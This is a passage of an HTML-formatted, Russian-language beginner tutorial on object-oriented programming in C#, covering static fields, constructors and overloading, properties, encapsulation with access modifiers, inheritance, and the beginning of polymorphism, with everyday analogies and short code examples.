class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"p\">;</span><span class=\"w\">          </span><span class=\"c1\">// поле объекта — у каждой собаки своё</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">static</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">TotalDogs</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// static поле — одно на весь класс</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Dog</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">TotalDogs</span><span class=\"o\">++</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// увеличиваем общий счётчик</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">Dog</span><span class=\"w\"> </span><span class=\"n\">d1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dog</span><span class=\"p\">(</span><span class=\"s\">&quot;Бобик&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">Dog</span><span class=\"w\"> </span><span class=\"n\">d2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dog</span><span class=\"p\">(</span><span class=\"s\">&quot;Шарик&quot;</span><span class=\"p\">);</span>\n\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Dog</span><span class=\"p\">.</span><span class=\"n\">TotalDogs</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// 2 — обращаемся через имя класса</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"9-конструкторы\">9. Конструкторы</h2>\n<p>Конструктор — это специальный метод, который вызывается <strong>автоматически</strong> при создании объекта через <code>new</code>.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Person</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">Age</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// Конструктор — называется как класс, без return типа</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Person</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// записываем в поле то, что передали</span>\n<span class=\"w\">        </span><span class=\"n\">Age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Introduce</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"s\">$&quot;Привет, меня зовут {Name}, мне {Age} лет.&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Теперь нельзя создать Person без имени и возраста</span>\n<span class=\"n\">Person</span><span class=\"w\"> </span><span class=\"n\">p1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Person</span><span class=\"p\">(</span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">);</span>\n<span class=\"n\">Person</span><span class=\"w\"> </span><span class=\"n\">p2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Person</span><span class=\"p\">(</span><span class=\"s\">&quot;Петя&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">22</span><span class=\"p\">);</span>\n\n<span class=\"n\">p1</span><span class=\"p\">.</span><span class=\"n\">Introduce</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Привет, меня зовут Коля, мне 20 лет.</span>\n<span class=\"n\">p2</span><span class=\"p\">.</span><span class=\"n\">Introduce</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// Привет, меня зовут Петя, мне 22 лет.</span>\n</code></pre></div>\n\n<h3 id=\"несколько-конструкторов-перегрузка\">Несколько конструкторов (перегрузка)</h3>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Person</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">Age</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// Конструктор с двумя параметрами</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Person</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// Конструктор только с именем</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Person</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"n\">Age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// возраст не известен</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"n\">Person</span><span class=\"w\"> </span><span class=\"n\">p1</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Person</span><span class=\"p\">(</span><span class=\"s\">&quot;Коля&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"m\">20</span><span class=\"p\">);</span>\n<span class=\"n\">Person</span><span class=\"w\"> </span><span class=\"n\">p2</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Person</span><span class=\"p\">(</span><span class=\"s\">&quot;Аноним&quot;</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// тоже работает</span>\n</code></pre></div>\n\n<blockquote>\n<p><strong>Аналогия:</strong> Конструктор — это как форма заявки. Некоторые поля обязательны, некоторые опциональны. Конструктор с параметрами заставляет заполнить нужные поля при создании.</p>\n</blockquote>\n<hr />\n<h2 id=\"10-свойства\">10. Свойства</h2>\n<p>Свойство — это <strong>умное поле</strong>. Оно выглядит как поле снаружи, но внутри может содержать логику.</p>\n<h3 id=\"зачем-нужны-свойства\">Зачем нужны свойства?</h3>\n<p>Представь: у тебя есть поле <code>Age</code> (возраст). Ты хочешь запретить устанавливать отрицательный возраст. С обычным полем это не сделать — можно написать <code>person.Age = -5</code> и всё.</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Person</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// Приватное поле — хранит реальное значение</span>\n<span class=\"w\">    </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// Свойство — умный доступ к полю</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">Age</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">get</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">age</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// get вызывается когда ЧИТАЮТ: p.Age</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">        </span><span class=\"k\">set</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"c1\">// set вызывается когда ПИШУТ: p.Age = 25</span>\n<span class=\"w\">            </span><span class=\"c1\">// &quot;value&quot; — это специальное слово, оно содержит то что присваивают</span>\n<span class=\"w\">            </span><span class=\"c1\">// например p.Age = 25 → value будет равно 25</span>\n<span class=\"w\">            </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"k\">value</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">                </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// не позволяем отрицательный возраст</span>\n<span class=\"w\">            </span><span class=\"k\">else</span>\n<span class=\"w\">                </span><span class=\"n\">age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">value</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Person</span><span class=\"w\"> </span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Person</span><span class=\"p\">();</span>\n<span class=\"n\">p</span><span class=\"p\">.</span><span class=\"n\">Age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">25</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// вызывается set, value = 25, age = 25</span>\n<span class=\"n\">p</span><span class=\"p\">.</span><span class=\"n\">Age</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"m\">5</span><span class=\"p\">;</span><span class=\"w\">  </span><span class=\"c1\">// вызывается set, value = -5, age = 0 (защита сработала!)</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">p</span><span class=\"p\">.</span><span class=\"n\">Age</span><span class=\"p\">);</span><span class=\"w\"> </span><span class=\"c1\">// вызывается get, возвращает age = 0</span>\n</code></pre></div>\n\n<h3 id=\"авто-свойство-короткая-запись\">Авто-свойство — короткая запись</h3>\n<p>Если логики не нужно, можно написать коротко:</p>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Person</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">get</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">set</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span><span class=\"w\">   </span><span class=\"c1\">// можно и читать и писать</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">int</span><span class=\"w\"> </span><span class=\"n\">Age</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">get</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">set</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Id</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"k\">get</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span><span class=\"w\">          </span><span class=\"c1\">// только читать (задаётся в конструкторе)</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"11-инкапсуляция\">11. Инкапсуляция</h2>\n<p>Инкапсуляция — это <strong>скрытие внутренних деталей</strong> объекта. Пользователь класса работает через публичный интерфейс, не зная как всё устроено внутри.</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Ты пользуешься телефоном, нажимая кнопки. Тебе не нужно знать как работает процессор внутри. Внутренности скрыты — это инкапсуляция.</p>\n</blockquote>\n<h3 id=\"модификаторы-доступа\">Модификаторы доступа</h3>\n<table>\n<thead>\n<tr>\n<th>Модификатор</th>\n<th>Кто может видеть</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td><code>public</code></td>\n<td>Все</td>\n</tr>\n<tr>\n<td><code>private</code></td>\n<td>Только этот класс</td>\n</tr>\n<tr>\n<td><code>protected</code></td>\n<td>Этот класс и наследники</td>\n</tr>\n<tr>\n<td><code>internal</code></td>\n<td>Только этот проект</td>\n</tr>\n</tbody>\n</table>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">BankAccount</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">private</span><span class=\"w\"> </span><span class=\"kt\">decimal</span><span class=\"w\"> </span><span class=\"n\">balance</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// скрытое поле — снаружи не доступно напрямую</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Deposit</span><span class=\"p\">(</span><span class=\"kt\">decimal</span><span class=\"w\"> </span><span class=\"n\">amount</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">amount</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"p\">)</span>\n<span class=\"w\">            </span><span class=\"n\">balance</span><span class=\"w\"> </span><span class=\"o\">+=</span><span class=\"w\"> </span><span class=\"n\">amount</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">bool</span><span class=\"w\"> </span><span class=\"nf\">Withdraw</span><span class=\"p\">(</span><span class=\"kt\">decimal</span><span class=\"w\"> </span><span class=\"n\">amount</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"p\">(</span><span class=\"n\">amount</span><span class=\"w\"> </span><span class=\"o\">&gt;</span><span class=\"w\"> </span><span class=\"m\">0</span><span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span><span class=\"n\">amount</span><span class=\"w\"> </span><span class=\"o\">&lt;=</span><span class=\"w\"> </span><span class=\"n\">balance</span><span class=\"p\">)</span>\n<span class=\"w\">        </span><span class=\"p\">{</span>\n<span class=\"w\">            </span><span class=\"n\">balance</span><span class=\"w\"> </span><span class=\"o\">-=</span><span class=\"w\"> </span><span class=\"n\">amount</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"k\">true</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"p\">}</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"k\">false</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">decimal</span><span class=\"w\"> </span><span class=\"nf\">GetBalance</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"n\">balance</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">BankAccount</span><span class=\"w\"> </span><span class=\"n\">account</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">BankAccount</span><span class=\"p\">();</span>\n<span class=\"n\">account</span><span class=\"p\">.</span><span class=\"n\">Deposit</span><span class=\"p\">(</span><span class=\"m\">1000</span><span class=\"p\">);</span>\n<span class=\"n\">account</span><span class=\"p\">.</span><span class=\"n\">Withdraw</span><span class=\"p\">(</span><span class=\"m\">200</span><span class=\"p\">);</span>\n<span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">account</span><span class=\"p\">.</span><span class=\"n\">GetBalance</span><span class=\"p\">());</span><span class=\"w\"> </span><span class=\"c1\">// 800</span>\n\n<span class=\"c1\">// account.balance = -99999; // ОШИБКА! balance - private</span>\n</code></pre></div>\n\n<p>Снаружи нельзя просто написать <code>account.balance = -99999</code>. Все изменения идут через методы, которые проверяют корректность.</p>\n<hr />\n<h2 id=\"12-наследование\">12. Наследование</h2>\n<p>Наследование — когда один класс <strong>берёт всё</strong> от другого и может добавить своё.</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Ты наследуешь от родителей черты лица, и добавляешь свои. BMW 3 и BMW 5 — оба «наследуют» общие BMW-характеристики, но у каждого своя специфика.</p>\n</blockquote>\n<div class=\"highlight\"><pre><span></span><code><span class=\"c1\">// Базовый класс (родитель)</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Animal</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Animal</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Breathe</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; дышит&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Eat</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; ест&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"c1\">// Производный класс (потомок) — наследует Animal</span>\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Dog</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Animal</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Breed</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"c1\">// дополнительное поле</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// : base(name) — значит &quot;передай name конструктору Animal&quot;</span>\n<span class=\"w\">    </span><span class=\"c1\">// Dog не знает как инициализировать Name (оно в Animal), поэтому просит Animal это сделать</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Dog</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">breed</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">base</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">)</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Breed</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">breed</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Bark</span><span class=\"p\">()</span><span class=\"w\"> </span><span class=\"c1\">// дополнительный метод</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; лает!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n\n<span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Cat</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"n\">Animal</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"c1\">// У Cat нет своих полей, но всё равно нужно передать name в Animal</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Cat</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">:</span><span class=\"w\"> </span><span class=\"k\">base</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"k\">void</span><span class=\"w\"> </span><span class=\"nf\">Meow</span><span class=\"p\">()</span>\n<span class=\"w\">    </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"n\">Console</span><span class=\"p\">.</span><span class=\"n\">WriteLine</span><span class=\"p\">(</span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"w\"> </span><span class=\"s\">&quot; мяукает!&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"p\">}</span>\n</code></pre></div>\n\n<div class=\"highlight\"><pre><span></span><code><span class=\"n\">Dog</span><span class=\"w\"> </span><span class=\"n\">dog</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Dog</span><span class=\"p\">(</span><span class=\"s\">&quot;Бобик&quot;</span><span class=\"p\">,</span><span class=\"w\"> </span><span class=\"s\">&quot;Лабрадор&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">dog</span><span class=\"p\">.</span><span class=\"n\">Breathe</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// унаследовано от Animal — Бобик дышит</span>\n<span class=\"n\">dog</span><span class=\"p\">.</span><span class=\"n\">Eat</span><span class=\"p\">();</span><span class=\"w\">     </span><span class=\"c1\">// унаследовано от Animal — Бобик ест</span>\n<span class=\"n\">dog</span><span class=\"p\">.</span><span class=\"n\">Bark</span><span class=\"p\">();</span><span class=\"w\">    </span><span class=\"c1\">// своё — Бобик лает!</span>\n\n<span class=\"n\">Cat</span><span class=\"w\"> </span><span class=\"n\">cat</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"k\">new</span><span class=\"w\"> </span><span class=\"n\">Cat</span><span class=\"p\">(</span><span class=\"s\">&quot;Мурка&quot;</span><span class=\"p\">);</span>\n<span class=\"n\">cat</span><span class=\"p\">.</span><span class=\"n\">Breathe</span><span class=\"p\">();</span><span class=\"w\"> </span><span class=\"c1\">// унаследовано — Мурка дышит</span>\n<span class=\"n\">cat</span><span class=\"p\">.</span><span class=\"n\">Meow</span><span class=\"p\">();</span><span class=\"w\">    </span><span class=\"c1\">// своё — Мурка мяукает!</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"13-полиморфизм\">13. Полиморфизм</h2>\n<p>Полиморфизм буквально означает «много форм». Один и тот же вызов метода ведёт себя <strong>по-разному</strong> в зависимости от реального типа объекта.</p>\n<blockquote>\n<p><strong>Аналогия:</strong> Ты говоришь всем детям «нарисуй кружок». Каждый рисует по-своему — один красный, другой синий, третий большой. Команда одна, результат разный. Это полиморфизм.</p>\n</blockquote>\n<h3 id=\"virtual-и-override\">virtual и override</h3>\n<p>Чтобы потомок мог изменить поведение метода родителя:</p>\n<ul>\n<li><code>virtual</code> в родителе — «этот метод <strong>можно</strong> переопределить в потомке»</li>\n<li><code>override</code> в потомке — «я <strong>переопределяю</strong> этот метод»</li>\n</ul>\n<div class=\"highlight\"><pre><span></span><code><span class=\"k\">class</span><span class=\"w\"> </span><span class=\"nc\">Animal</span>\n<span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span class=\"nf\">Animal</span><span class=\"p\">(</span><span class=\"kt\">string</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">)</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span><span class=\"n\">Name</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"n\">name</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"p\">}</span>\n\n<span class=\"w\">    </span><span class=\"c1\">// virtual — разрешаем потомкам изменить этот метод</span>\n<span class=\"w\">    </span><span class=\"k\">public</span><span class=\"w\"> </span><span 